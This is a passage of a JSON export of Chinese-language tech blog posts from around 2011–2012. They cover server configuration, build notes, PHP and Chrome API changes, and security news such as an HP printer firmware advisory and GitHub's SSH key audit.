    "body": "前陣子看到 <a href=\"http://fcamel-life.blogspot.com/\">fcamel</a> 丟出來的舊文章：「<a href=\"http://www.ibm.com/developerworks/linux/library/l-debugmake/index.html\">Debugging make</a>」，花了一些時間看裡面關於 BSD make 與 GNU make 的相同處，之後寫 Makefile 的時候應該會相當有幫助。\r\n\r\n目前的目標是 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 與 <a href=\"http://www.ubuntu.com/\">Ubuntu</a>，文章裡面有提到三個變數在兩個平台是通用的，分別是 <code>$<</code> (The source from which the target is to be made)、<code>$*</code> (The base name of the target (no extensions or directory))、<code>$@</code> (The full name of the target)。\r\n\r\n另外文章後面也有提到不相容的地方... 如果能避免就儘量避免？",
    "title": "BSD make 與 GNU make 的 Makefile..."
  },
  {
    "id": "2798",
    "body": "因為打算給 <a href=\"http://www.freebsd.org/doc/handbook/portsnap.html\">portsnap</a> 用，所以得用 <a href=\"http://www.squid-cache.org/\">Squid</a> 3.1 架 forward proxy，可以避免大量對外抓同樣的資料...\r\n\r\n由於是內部的機器，不需要擋 acl，設定起來超簡單... ports 裝完 <a href=\"http://www.freshports.org/www/squid31\">www/squid31</a> 後，把 <code>squid.conf</code> 寫成：\r\n<blockquote><code>#\r\nhttp_access allow all\r\n#\r\naccess_log /home/squid/logs/access.log squid\r\ncache_dir aufs /home/squid/cache1 1024 16 16\r\ncache_effective_group squid\r\ncache_effective_user squid\r\ncache_log /home/squid/logs/cache.log\r\ncache_mem 256 MB\r\nhttp_port 3128</code></blockquote>\r\n這樣就「會動」了... (先不管效率) 照 squid 的慣例，第一次必須先跑 <code>/usr/local/sbin/squid -z</code> 讓目錄建立出來，後面就是標準的 <code>/usr/local/etc/rc.d/squid start</code>。",
    "title": "Squid 3.1 的 forward proxy 設定..."
  },
  {
    "id": "2800",
    "body": "今天花了不少時間找到的問題...\r\n\r\n問題是使用 <a href=\"http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\">mod_fastcgi</a> 以及 <a href=\"http://httpd.apache.org/docs/2.2/mod/mod_deflate.html\">mod_deflate</a> 時，<code>Content-Encoding</code> 會是 <code>gzip</code>，但 <code>Content-Length</code> 會是未壓縮的長度。\r\n\r\n也就是說，伺服器端在 header 提供的 <code>Content-Length</code> 可能寫 8KB，但實際上只丟出 2KB (壓縮後的大小)，於是瀏覽器讀完這 2KB 後會停下來一直等，等到 Keep-Alive timeout 斷線 (在我機器上預設是 5 秒)。\r\n\r\n在 timeout 斷線後 browser 會就抓到的資料直接解開執行 (因為這 2KB 都有抓到，於是都正確執行)。如果用瀏覽器這邊的 debugger 觀察，就會發現從 first byte 後 5.00 秒才 document ready。\r\n\r\n解法有人在 2008 年給過：「<a href=\"http://article.gmane.org/gmane.comp.web.fastcgi.devel/2613\">Content-Length header should be set using\tap_set_content_length</a>」，不過因為 mod_fastcgi 一直沒出新的正式版，所以大家都還是拿到舊的版本。\r\n\r\n所以，與之前修正 multi-threading 的問題一樣，往 ports 本身丟 patch：「<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=163199\">Update www/mod_fastcgi to fix mod_deflate issue.</a>」，修正後再測試就正常了。",
    "title": "同時用 mod_deflate 與 mod_fastcgi 所產生的問題..."
  },
  {
    "id": "2802",
    "body": "依照<a href=\"http://www.universalmusic.com/\">環球唱片</a> (Universal Music Group，UMG) 提供給法院的文件中，<a href=\"http://www.youtube.com/\">YouTube</a> (也就是 <a href=\"http://www.google.com/\">Google</a>) 允許 UMG 透過 YouTube 的 CMS (Content Management System) 移除「不屬於 UMG 的影片」：「<a href=\"http://tech.slashdot.org/story/11/12/16/1610229/google-deal-allegedly-lets-umg-wipe-youtube-videos-it-doesnt-own\">Google Deal Allegedly Lets UMG Wipe YouTube Videos It Doesn't Own</a>」，文件 (PDF) 在：「<a href=\"http://ia700808.us.archive.org/26/items/gov.uscourts.cand.248875/gov.uscourts.cand.248875.14.0.pdf\">gov.uscourts.cand.248875.14.0.pdf</a>」這邊可以下載取得。\r\n\r\n重點在於這份文件中第四頁的這段：\r\n<blockquote>The UMG-YouTube agreement grants UMG rights to effect the removal of user-posted videos through YouTube’s Content Management System (“CMS”), based on a number of contractually specified criteria <strong>that are not limited to the infringements of copyrights owned or controlled by UMG.  Klaus Decl.</strong>, Ex. 4 (Klaus to Kavanaugh letter, Dec. 14, 2011).  Dotcom speculates in his declaration that Universal must have sent a so-called “DMCA notification form,” such as the one he printed and attached at Ex. E to his declaration, to YouTube.  Doctcom Decl. ¶ 11.  <strong>But UMG (which interacts with YouTube) does not use that form when requesting the removal of material pursuant to UMG’s contract with YouTube.</strong>  UMG uses YouTube’s automated CMS system.</blockquote>\r\n繼續來看後續吧...",
    "title": "YouTube (Google) 允許環球唱片 (Universal Music Group，UMG) 直接移除非 UMG 所擁有版權的影片"
  },
  {
    "id": "2803",
    "body": "從「<a href=\"http://nikic.github.com/2011/12/12/How-big-are-PHP-arrays-really-Hint-BIG.html\">How big are PHP arrays (and values) really? (Hint: BIG!)</a>」這篇看到的。文章本身值得花些時間看過了解，不過對我來說重點在最後面的 <a href=\"http://php.net/manual/en/class.splfixedarray.php\">SplFixedArray</a>。\r\n\r\n<a href=\"http://www.php.net/\">PHP</a> 的 <a href=\"http://php.net/manual/en/spl.datastructures.php\">Datastructures</a> 說明目前 PHP SPL 所支援的 data structure，在記憶體用量以及效率上面都會比自己實作來的小且快。\r\n\r\n可以看到很多都支援 Countable、Iterator，以及 ArrayAccess，代表可以用 <code>foreach()</code> 或是對應的方式存取... 如果自己寫 library 的時候應該要善用這些 SPL。",
    "title": "PHP 提供的資料結構..."
  },
  {
    "id": "2804",
    "body": "整理下來：\r\n<ul>\r\n\t<li><a href=\"http://tools.ietf.org/html/rfc4226\">HOTP: An HMAC-Based One-Time Password Algorithm</a></li>\r\n\t<li><a href=\"http://tools.ietf.org/html/rfc6238\">TOTP: Time-Based One-Time Password Algorithm</a></li>\r\n\t<li><a href=\"http://code.google.com/p/google-authenticator/wiki/KeyUriFormat\">KeyUriFormat - google-authenticator - The format of URIs containing encoded keys - Two-step verification - Google Project Hosting</a></li>\r\n</ul>\r\n有玩過 <a href=\"https://en.wikipedia.org/wiki/HMAC\">HMAC</a> 的人，讀這些文件應該不難...\r\n\r\nTOTP 在預設的情況下，其實就是 HMAC-SHA-1 後取後面 32bits，然後轉成數字取 100000 的餘數，而 TOTP 文件是架構在 HOTP 的定義上，把時間切齊 (預設 30secs) 變成整數丟進去攪和，然後特地交代要處理 2038 年超過 Int32 的 case XDDD\r\n\r\n最後 <a href=\"http://www.google.com/\">Google</a> 那份文件是要輸出 QR code 讓手機可以讀的方式，建議不要用網路服務產生 QR code (因為有 secret key 啊)，寧可自己抓 library 建一個用...\r\n\r\n另外 Google Authenticator 一堆東西都只能用預設值 (Currently, the XXX is ignored by the Google Authenticator implementations.)，所以也沒什麼好選的，就拿預設值吧... :o\r\n\r\nServer side 的話，至少我在 <a href=\"http://www.cpan.org/\">CPAN</a> 上面看到 <a href=\"http://search.cpan.org/dist/Authen-OATH/\">Authen-OATH</a> 可以用了，用起來也很簡單 :o",
    "title": "如果要自己寫 TOTP 的幾個要看的東西..."
  },
  {
    "id": "2805",
    "body": "弄了整個週末的 <a href=\"https://github.com/sitaramc/gitolite\">gitolite</a>，總算是把 hook 搞定。\r\n\r\n簡單的說，修改完 <code>~/.gitolite/hooks/common/</code> 裡的 hook script 後，需要下 <code>gl-setup</code> 指令，這個指令會把現在所有的 git repository 內的 hook script 再 symbolic link 一次。\r\n\r\n另外，gitolite 的環境變數可能會影響 <a href=\"http://git-scm.com/\">git</a> 本身執行 (我是在 <code>git pull -v</code> 更新某個目錄下的 git repository 時失敗)，這時可以用 <code>/usr/bin/env -i /usr/local/bin/git</code> 確保 git 執行時不會被環境變數影響...\r\n\r\ngitolite 看起來是個好東西，不過光是靠官方的文件要搞定頗累... (週末都在 <a href=\"http://stackoverflow.com/\">Stack Overflow</a> 上度過)",
    "title": "gitolite 的 hook..."
  },
  {
    "id": "2808",
    "body": "那個紅色的數字 icon 還蠻妨礙工作的，到 <a href=\"http://userscripts.org/\">userscripts.org</a> 上翻一翻，果然有人有寫過了 (雖然是沒幾天前)：「<a href=\"http://userscripts.org/scripts/show/120626\">Go Away! Google Plus</a>」。\r\n\r\nPS：隨便丟字進去測試的時候，發現 \"<a href=\"https://www.google.com/search?q=test\">test</a>\" 第五名是 tw.yahoo.com，這是怎麼了...？",
    "title": "把 Google Plus 的數字 icon 藏起來..."
  },
  {
    "id": "2810",
    "body": "<a href=\"http://www.akamai.com/\">Akaiami</a> 的新聞稿先出來了：「<a href=\"http://www.akamai.com/html/about/press/releases/2011/press_122211.html\">December 22, 2011 - Akamai to Acquire Cotendo</a>」，<a href=\"http://www.cotendo.com/\">Cotendo</a> 的只有在 <a href=\"http://twitter.com/\">Twitter</a> 上看到官方帳號提到 Akamai 的新聞稿。\r\n\r\n併購的金額在：\r\n<blockquote>Under terms of the agreement, Akamai will acquire all of the outstanding equity of Cotendo in exchange for a net cash payment of approximately $268 million</blockquote>\r\n上個月月底的時候就有消息了：「<a href=\"http://techcrunch.com/2011/11/27/akamai-cotendo/\">Akamai Reportedly Buying Rival Cotendo For Up To $350 Million</a>」，不過一直都是謠傳而已...\r\n\r\nCotendo 的產品在 Akamai 裡面都有對應的產品，這次併購看起來比較像是減少競爭對手，或是買專利...",
    "title": "Akamai 買下 Cotendo..."
  },
  {
    "id": "2811",
    "body": "<a href=\"http://www.hp.com/\">HP</a> 發了安全通告「<a href=\"http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03102449&jumpid=em_alerts_us-us_Dec11_xbu_all_all_1514802_101529_printersandmultifunctionscanners-copiers-faxes_critical_000_0\">HPSBPI02728 SSRT100692 rev.2 - Certain HP Printers and HP Digital Senders, Remote Firmware Update Enabled by Default</a>」，在安全通告內列出的印表機都有安全問題，「允許遠端安裝未經授權的印表機韌體」，攻擊者可以遠端直接安裝有木馬的韌體：\r\n<blockquote>A potential security vulnerability has been identified with certain HP printers and HP digital senders. The vulnerability could be exploited remotely to install unauthorized printer firmware.</blockquote>\r\n另外可以參考 <a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4161\">CVE-2011-4161</a> 的說明：\r\n<blockquote>The default configuration of the HP CM8060 Color MFP with Edgeline; Color LaserJet 3xxx, 4xxx, 5550, 9500, CMxxxx, CPxxxx, and Enterprise CPxxxx; Digital Sender 9200c and 9250c; LaserJet 4xxx, 5200, 90xx, Mxxxx, and Pxxxx; and LaserJet Enterprise 500 color M551, 600, M4555 MFP, and P3015 enables the Remote Firmware Update (RFU) setting, which allows remote attackers to execute arbitrary code by using a session on TCP port 9100 to upload a crafted firmware update.</blockquote>\r\n能更新的就想辦法更新吧，無法更新的看看有沒有辦法處理 port 9100...",
    "title": "請更新 HP 印表機的韌體..."
  },
  {
    "id": "2813",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 提供的 <a href=\"http://libtorrent.rakshasa.no/\">rTorrent</a> 比較舊，11.04 上面只有 0.8.6 可以用，11.10 則是 0.8.7。目前最新的 stable 是 0.8.9，有支援 magnet uri... 找了 launchpad 上面有沒有人做，看起來是沒有 :/\r\n\r\n因為不想影響到系統舊版的 libTorrent 與 rTorrent，所以裝在自己的 home directory 下。\r\n\r\n先安裝 libTorrent，用 <code>./configure --prefix=/home/gslin/foo</code> 之後用 <code>make</code> 編完後 <code>make install</code> 就可以了，有缺軟體的部份會跳訊息出來，用 apt-get 補上 -dev 版本後再繼續安裝。\r\n\r\n再來是 rTorrent，首先要注意的是要裝 libncursesw5-dev，也就是有 wide character support 的版本，不然顯示 UTF-8 會有問題 (實際在磁碟上的檔名不會有問題，但顯示會有問題)，接著用 <code>libtorrent_CFLAGS=\"-I/home/gslin/foo/include\" libtorrent_LIBS=\"-L/home/gslin/foo/lib -ltorrent\" ./configure --prefix=/home/gslin/foo</code> 指定 libtrorrent 所在位置，然後用 <code>make</code> 編完後 <code>make install</code>。\r\n\r\n接下來用 <code>~/foo/rtorrent</code> 執行，應該就會是新版的 rTorrent 了...",
    "title": "自己編 rTorrent 與 libTorrent..."
  },
  {
    "id": "2814",
    "body": "主要是參考「<a href=\"http://www.daemonology.net/blog/2009-06-11-cryptographic-right-answers.html\">Cryptographic Right Answers</a>」這篇給的建議：\r\n<blockquote>Password handling: As soon as you receive a password, hash it using scrypt or PBKDF2 and erase the plaintext password from memory. \r\nDo NOT store users' passwords. Do NOT hash them with MD5. Use a real key derivation algorithm. PBKDF2 is the most official standard; but scrypt is stronger. \r\nPlease keep in mind that even if YOUR application isn't particularly sensitive, your users are probably re-using passwords which they have used on other, more sensitive, websites -- so if you screw up how you store your users' passwords, you might end up doing them a lot of harm.</blockquote>\r\n其中 scrypt 是作者自己發展的演算法，這邊看看就好。\r\n\r\n你可以用 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> (<a href=\"https://tools.ietf.org/html/rfc2898\">RFC 2898</a>)。這邊假設的前提是，你不需要常常重複計算使用者的密碼是否正確。在這個前提下，我們可以把演算法弄得很複雜，而且很耗時，要複雜到用硬體加速也無法產生實質上有效的攻擊。\r\n\r\n如果你對密碼學這個領域並不熟，<a href=\"http://www.daemonology.net/\">Colin Percival</a> 這篇文章可以拿來當做起點，文章裡面告訴你，某些類型的問題會用某些工具解決。",
    "title": "儲存密碼的方式"
  },
  {
    "id": "2815",
    "body": "<a href=\"https://thepiratebay.org/\">The Pirate Bay</a> 將把 torrent 檔下載方式換成磁力連結：「<a href=\"http://torrentfreak.com/the-pirate-bay-will-stop-serving-torrents-120112/\">The Pirate Bay Will Stop Serving Torrents</a>」。\r\n\r\n<a href=\"https://zh.wikipedia.org/wiki/%E7%A3%81%E5%8A%9B%E9%93%BE%E6%8E%A5\">Magnet URI</a> 下載 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 檔案其實只是多了一個抓 torrent 檔的步驟：首先先從 Magnet URI 內取得 SHA1 值，然後透過 <a href=\"https://zh.wikipedia.org/wiki/%E5%88%86%E6%95%A3%E5%BC%8F%E9%9B%9C%E6%B9%8A%E8%A1%A8\">DHT</a> 抓到 torrent 檔的 metadata，然後後面就可以照舊進行... 至於 DHT 的初次建立，除了可以透過中央式的 <code>router.utorrent.com</code> 取得外，也可以透過其他 torrent 檔案下載所提供的 tracker 找到節點。在取得一批節點後，透過 <a href=\"https://en.wikipedia.org/wiki/Peer_exchange\">PEX</a> 交換出更多的節點。\r\n\r\nDHT + PEX 的技術逐漸成熟 (愈來愈多程式支援)，然後是最大的 torrent site 採用。之後的 public torrent site 應該都會改朝這個方向走...",
    "title": "The Pirate Bay (海盜灣) 從 Torrent 檔下載換成 Magnet URI (磁力連結)"
  },
  {
    "id": "2819",
    "body": "桌機還在用 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 11.04，剛剛 apt-get 升級後沒聲音了 (有注意到 kernel 有更新)，後來是用「<a href=\"http://ubuntuforums.org/showthread.php?t=1744966\">Ubuntu 11.04 - No sound at all</a>」這篇的方法解決：\r\n<blockquote><pre>rm -r ~/.pulse ~/.asound* ~/.pulse-cookie \r\nsudo rm /etc/asound.conf</pre></blockquote>\r\n重開機後就有聲音了...",
    "title": "Ubuntu 11.04 最近一次 kernel 升級後沒聲音..."
  },
  {
    "id": "2821",
    "body": "之前寫了一個處理 <code>Referer</code> header 的 extension，使用 <code>chrome.experimental.webRequest.onBeforeSendHeaders.addListener</code> 攔截所有的 url 然後處理 <code>Referer</code> header。\r\n\r\n之前只需要在 <code>manifest.json</code> 裡面加上 <code>experimental</code> 就可以使用，但是前陣子發現失效。剛剛在「<a href=\"https://code.google.com/p/chromium/issues/detail?id=101275\">onBeforeSendHeaders listeners aren't triggering</a>」這個 issue 裡面找到解法：現在需要多加上 <code>&lt;all_urls&gt;</code> 這組權限。",
    "title": "Google Chrome Extension 內攔截所有的 url request..."
  },
  {
    "id": "2824",
    "body": "用 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 用一陣子了，回頭來看看 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 發展的如何... 在 Location bar 輸入網址還是鈍鈍的問題還是沒解，不過很明顯感覺速度跟 Chrome 差不多了...\r\n\r\n裝了一卡車套件，用一陣子看看吧 :o",
    "title": "換回 Firefox..."
  },
  {
    "id": "2825",
    "body": "<a href=\"http://ltcctl.blogspot.com/\">劉老師</a>從<a href=\"http://www.nctu.edu.tw/\">交大</a>退休後，以前與 <a href=\"http://pesty.yichi.org/blog/2009/07/13/ccca_closedow/\">CCCA</a> 有淵源的人差不多都會在每年年底的時候約老師出來聚餐 (被稱為「期末總檢討」)。不過去年年底沒約，趁著過完年後另外找時間跟老師聚聚聊天，於是<a href=\"http://blog.ijliao.info/\">蔡依林</a>去餐廳訂了這個星期天中午的位置，大家坐著聊一聊...\r\n\r\n中間聊天的過程就略過了，一群老人在懷舊嘴砲 :o\r\n\r\n跟以往差異最大的，大概是老師開刀後身體比較需要休養，之後不方便跟他拼白酒了... XD",
    "title": "跟老師吃飯..."
  },
  {
    "id": "2826",
    "body": "有點舊的消息，之前看到有人提但當時沒有寫 blog，最近又看到這張圖...\r\n\r\n<img src=\"https://i.gslin.com/imgur/Q3U1s.jpg\" alt=\"\" />\r\n\r\n這是 John Carmack (<a href=\"http://www.idsoftware.com/\">id Software</a> 創辦人) 在 1995 年所拍攝的 1920×1080 CRT 螢幕，吃電能力高達 180W：「<a href=\"http://www.geek.com/articles/games/john-carmack-coded-quake-on-a-28-inch-169-1080p-monitor-in-1995-20110920/\">John Carmack coded Quake on a 28-inch 16:9 1080p monitor in 1995</a>」...\r\n\r\n以時間點來算，這應該是開發 <a href=\"http://www.idsoftware.com/games/quake\">Quake</a> 系列所用的螢幕...",
    "title": "John Carmack 在 1995 年的 28\" 1920×1080 螢幕..."
  },
  {
    "id": "2829",
    "body": "我家裡有兩台桌機在用，一台是跑 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 11.10，另外一台是 <a href=\"http://www.apple.com/macmini/\">Mac Mini</a> (上面是 10.7)，雖然 Mac 的字比較好看，但平常主要開發都還是在 Ubuntu 上，因為搞不定 iTerm2 過 <a href=\"http://www.gnu.org/software/screen/\">GNU Screen</a> 後只剩下標準 16 color 的問題...\r\n\r\n中間找問題的過程就跳過去 (也忘的差不多了)，最後是在「Report Terminal Type」這邊找到解法，本來是「<code>xterm-256color</code>」，改成「<code>xterm</code>」後 screen 內的 256 色就出現了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jQFnZ.webp\" /><img src=\"https://i.gslin.com/imgur/jQFnZ.jpg\" alt=\"\" /></picture>",
    "title": "iTerm2 + screen (FreeBSD 上) 的 256 色"
  },
  {
    "id": "2830",
    "body": "如果要知道 <a href=\"http://httpd.apache.org/\">Apache</a> 2.4 有哪些與 2.2 不同的地方，看官方提供的「<a href=\"http://httpd.apache.org/docs/2.4/new_features_2_4.html\">Overview of new features in Apache HTTP Server 2.4</a>」會比起看新聞網站清楚。\r\n\r\n對每個 SA 來說，重視的地方都會不太一樣。我認為有幾個比較重要的：\r\n<ul>\r\n\t<li>Event MPM：如果有 Event MPM，有機會比 Thread-based 的 Worker MPM 更省資源。</li>\r\n\t<li>Asynchronous support：在 Event MPM 下一定要有的改善。</li>\r\n\t<li>Reduced memory usage：要看看比起 2.2 可以省多少。</li>\r\n\t<li><a href=\"http://httpd.apache.org/docs/2.4/mod/mod_proxy_fcgi.html\">mod_proxy_fcgi</a>：這樣就不需要 <a href=\"http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\">mod_fastcgi</a> 了。</li>\r\n\t<li><a href=\"http://httpd.apache.org/docs/2.4/mod/mod_remoteip.html\">mod_remoteip</a>：這樣就不用 <a href=\"http://stderr.net/apache/rpaf/\">mod_rpaf2</a> 了。</li>\r\n\t<li><a href=\"http://httpd.apache.org/docs/2.4/mod/mod_ratelimit.html\">mod_ratelimit</a>：有點虛的功能，不過還是可以加減用用。</li>\r\n</ul>\r\n會選擇 Apache 其實最重要的原因是 .htaccess，他的效率只要好到使用的資源可以被 <a href=\"http://www.php.net/\">PHP</a> 忽略就行了...",
    "title": "Apache 2.4..."
  },
  {
    "id": "2832",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 看到 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 使用者使用 <a href=\"http://www.att.com/\">AT&amp;T</a> 所提供的 Unlimited data plan，但卻因為使用量過大而被限速，於是控告 AT&amp;T 勝訴的案例：「<a href=\"http://apple.slashdot.org/story/12/02/24/2037218/user-successfully-sues-att-for-throttling-iphone-data\">User Successfully Sues AT&T For Throttling iPhone Data</a>」，不過這件案子還可以上訴。\r\n\r\n雖然有線與無線的架構差很多，但這讓我想到「<a href=\"http://www.ithome.com.tw/itadm/article.php?c=57293\">NCC通過20M光纖費率　但不准中華電信限速</a>」這則 2009 年的報導，以及「<a href=\"http://www.ithome.com.tw/itadm/article.php?c=68727\">3G上網太慢　中華電信擬提回饋方案</a>」、「<a href=\"http://www.ithome.com.tw/itadm/article.php?c=68775\">重度行動上網用戶調高收費案　中華電信暫時喊卡</a>」這兩則去年的新聞...",
    "title": "AT&T 因限制使用者 iPhone 使用量被告，判罰 $850 美金"
  },
  {
    "id": "2833",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://hardware.slashdot.org/story/12/02/25/0019254/hard-drive-shortage-relief-coming-in-q1-2012\">Hard Drive Shortage Relief Coming In Q1 2012</a>」這篇提到 2012Q1 (就是現在這季) 的硬碟產量回穩，算算時間也的確差不多了...\r\n\r\n不過讓我想紀錄的是一開始的這段：\r\n<blockquote>\"According to new reports [note: source article at DigiTimes],</blockquote>\r\nSlashdot 上對 DIGITIMES 有種「...」的感覺，每次看他們引用 DIGITIMES 都很好笑 XD",
    "title": "硬碟產量..."
  },
  {
    "id": "2835",
    "body": "在變成標準前又改了一次...\r\n\r\n從 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 17 後，「<a href=\"http://code.google.com/chrome/extensions/stable/webRequest.html\">Web Requests</a>」從 Experimental API 變成正式的 API，有不少地方在這次轉成正式 API 後需要修改：\r\n<ul>\r\n\t<li>本來 <code>chrome.experimental.webRequest</code> 都改成 <code>chrome.webRequest</code>。</li>\r\n\t<li>需要加上 <code>webRequest</code> permission，如果有 blocking 行為則要再加上 <code>webRequestBlocking</code> permission。</li>\r\n\t<li>API 呼叫的參數可能會不一樣，參考官方的文件的說明比較清楚。我遇到的是使用 <code>onBeforeRequest.addListener</code> 時需要多加上 <code>urls</code> 參數。</li>\r\n\t<li>不再需要 <code>expiermental</code> permission，不過沒拿掉不影響運作。</li>\r\n</ul>\r\n在 <a href=\"https://chrome.google.com/webstore\">Chrome Web Store</a> 上面已經可以看到一些跟控制 Referrer 有關的延伸套件了...",
    "title": "Chrome 的 webRequest..."
  },
  {
    "id": "2837",
    "body": "<a href=\"https://thepiratebay.se/\">The Pirate Bay</a> 宣佈將所有的 .torrent 拿掉，改用 Magnet URI：「<a href=\"http://thepiratebay.se/blog/208\">No more torrents=no changes anyhow</a>」，另外可以參考「<a href=\"http://torrentfreak.com/the-pirate-bay-dumps-torrents-120228/\">The Pirate Bay, Now Without Torrents</a>」這篇。\r\n\r\n<img src=\"https://i.gslin.com/imgur/iUdvZ.jpg\" alt=\"\" />\r\n\r\n不過也不是全部拿掉。只有當 .torrent 檔被十個人下載後，The Pirate Bay 才會將 .torrent 下載轉成 Magnet URI 的形式提供後續服務，以確保有足夠的使用者擁有 torrent 檔。這樣使得 The Pirate Bay 的頻寬用量降低，並且拉高阻擋的難度。\r\n\r\nPS：<a href=\"http://imgur.com/\">imgur</a> 剛好掛掉了，等恢復後再把上面的圖換成 imgur...\r\n\r\n<strong>Update</strong>：imgur 恢復了...",
    "title": "The Pirate Bay 將全面 Magnet 化..."
  },
  {
    "id": "2838",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Sjbui.webp\" /><img src=\"https://i.gslin.com/imgur/Sjbui.jpg\" alt=\"\" /></picture>\r\n\r\nBL EACH？合宿？(腦袋轉不過來)",
    "title": "有時候斷字實在太巧妙..."
  },
  {
    "id": "2839",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://hardware.slashdot.org/story/12/03/01/0732247/stealthy-pen-test-unit-plugs-directly-into-110-vac-socket-video\">Stealthy Pen Test Unit Plugs Directly Into 110 VAC Socket (Video)</a>」這東西...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iFtyb.webp\" /><img src=\"https://i.gslin.com/imgur/iFtyb.jpg\" alt=\"\" /></picture>\r\n\r\n看圖片與規格資料，應該是接一個 110 伏特的電，然後插入一張 3G SIM 卡，就可以透過 3G 的頻寬管理這顆盒子。理論上可以完全被動收無線網路訊號，把收到的資料透過 3G 丟出來... 超棒的滲透工具？XD\r\n\r\n無線網路強制上 VPN 應該是常見的解法了...",
    "title": "滲透測試..."
  },
  {
    "id": "2840",
    "body": "PHP 5.4 前幾天正式釋出了：「<a href=\"http://www.php.net/archive/2012.php#id2012-03-01-1\">PHP 5.4.0 released!</a>」，新增與改變了很多東西。\r\n\r\n有些蠻值得注意的地方：\r\n<ul>\r\n\t<li>safe mode 與 magic quote 都消失了，升級後需要重新檢查 <code>php.ini</code>。</li>\r\n\t<li><code>array_combine(array(), array())</code> 不再傳回 <code>FALSE</code> 了，總算是傳回 <code>array()</code>。</li>\r\n\t<li>可以用 <code>[]</code> 表示 <code>array()</code> 了。</li>\r\n\t<li>function 傳回 array 後可以直接對 array 取值，也就是 <code>foo()[0]</code> 變合法語法了。</li>\r\n\t<li>new 完後可以直接 call function 了，也就是 <code>(new Foo)-&gt;bar()</code> 變合法語法了。</li>\r\n\t<li>內建 web server。</li>\r\n</ul>\r\n另外記憶體使用量以及效能都有巨大的改善，尤其是對物件的 method 效能改善很多，這對 framework 是好消息。\r\n\r\n不過應該還是等 5.4.1 之後再用吧，剛出來的這幾個版本應該有不少人會踩到地雷需要修正...",
    "title": "PHP 5.4"
  },
  {
    "id": "2842",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 以及使用 EC2 的服務 (包括 RDS 與 ElastiCache) 降價：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2012/03/05/new-lower-pricing-for-amazon-ec2-rds-and-elasticache/\">New, lower pricing for Amazon EC2, RDS, and ElastiCache</a>」，降價幅度在 Reserved Instances 比較大，但 On Demand Instances 的部份也有降一些。\r\n\r\n<a href=\"http://www.amazon.com/\">Amazon.com</a> 的 CTO Werner Vogels 也寫了一篇「<a href=\"http://www.allthingsdistributed.com/2012/03/ec2-price-reduction.html\">Driving Compute Cost Down for AWS Customers</a>」可以看看。\r\n\r\n另外在「<a href=\"http://aws.typepad.com/aws/2012/03/amazon-s3-performance-tips-tricks-seattle-hiring-event.html\">Amazon S3 Performance Tips & Tricks + Seattle S3 Hiring Event</a>」這邊有 <a href=\"http://www.linkedin.com/pub/doug-grismore/4/44b/b35\">Doug Grismore</a> (Director of Storage Operations for AWS) 寫了一篇客座文章，說明當量很大的時候要怎麼提昇對 AWS S3 存取的效能。這篇文章裡面有提到一些內部實做的結構，藉著了解這些內部結構，規劃檔案名稱，藉此提昇效能。",
    "title": "AWS EC2 (以及使用 EC2 的加值服務) 降價，以及提昇存取 AWS S3 的效能..."
  },
  {
    "id": "2844",
    "body": "正式的聲明在這：「<a href=\"http://blog.jquery.com/2012/03/06/announcing-the-jquery-foundation/\">ANNOUNCING THE JQUERY FOUNDATION</a>」，算是在 <a href=\"http://ejohn.org/\">John Resig</a> 淡出後，組織架構上比較大的改變...\r\n\r\n基金會正式的網站在 <a href=\"http://jquery.org/\">jquery.org</a>。",
    "title": "jQuery 成立基金會"
  },
  {
    "id": "2845",
    "body": "在 <a href=\"https://github.com/\">GitHub</a> 被攻擊成功後 (參考 GitHub 官方所說的「<a href=\"https://github.com/blog/1068-public-key-security-vulnerability-and-mitigation\">Public Key Security Vulnerability and Mitigation</a>」這篇)，官方除了把漏洞修補完以外，接下來做了更積極的措施：暫停所有的 SSH key 存取權限，一律等到用戶 audit 確認過後才開放：「<a href=\"https://github.com/settings/ssh/audit\">SSH Key Audit</a>」。\r\n\r\n這次 GitHub 除了修正問題、audit key 以外，另外還提出了新的機制讓用戶更容易發現異常存取行為，包括了：\r\n<ul>\r\n\t<li>新增 SSH public key 時要輸入密碼。</li>\r\n\t<li>新增 SSH public key 成功後會寄信通知。</li>\r\n\t<li>新增「<a href=\"https://github.com/settings/security\">Security History</a>」頁面可以看到帳戶的安全狀況。</li>\r\n</ul>\r\n算是很積極補救的作法。\r\n\r\n另外說明，要如何 audit key，也就是要如何取得你的 public key fingerprint：\r\n<blockquote><code>ssh-keygen -lf .ssh/id_rsa.pub</code> (如果你是用 RSA)\r\n或是\r\n<code>ssh-keygen -lf .ssh/id_dsa.pub</code> (如果你是用 DSA)</blockquote>\r\n出現的訊息就是你要比對的值。記住！既然是 audit，請一個一個比對確認 fingerprint 全部都正確。\r\n\r\n附上原始信件：(好像還沒在 blog 上說明)\r\n<blockquote>\r\nA security vulnerability was recently discovered that made it possible for an attacker to add new SSH keys to arbitrary GitHub user accounts. This would have provided an attacker with clone/pull access to repositories with read permissions, and clone/pull/push access to repositories with write permissions. As of 5:53 PM UTC on Sunday, March 4th the vulnerability no longer exists.\r\n\r\nWhile no known malicious activity has been reported, we are taking additional precautions by forcing an audit of all existing SSH keys.\r\n\r\n# Required 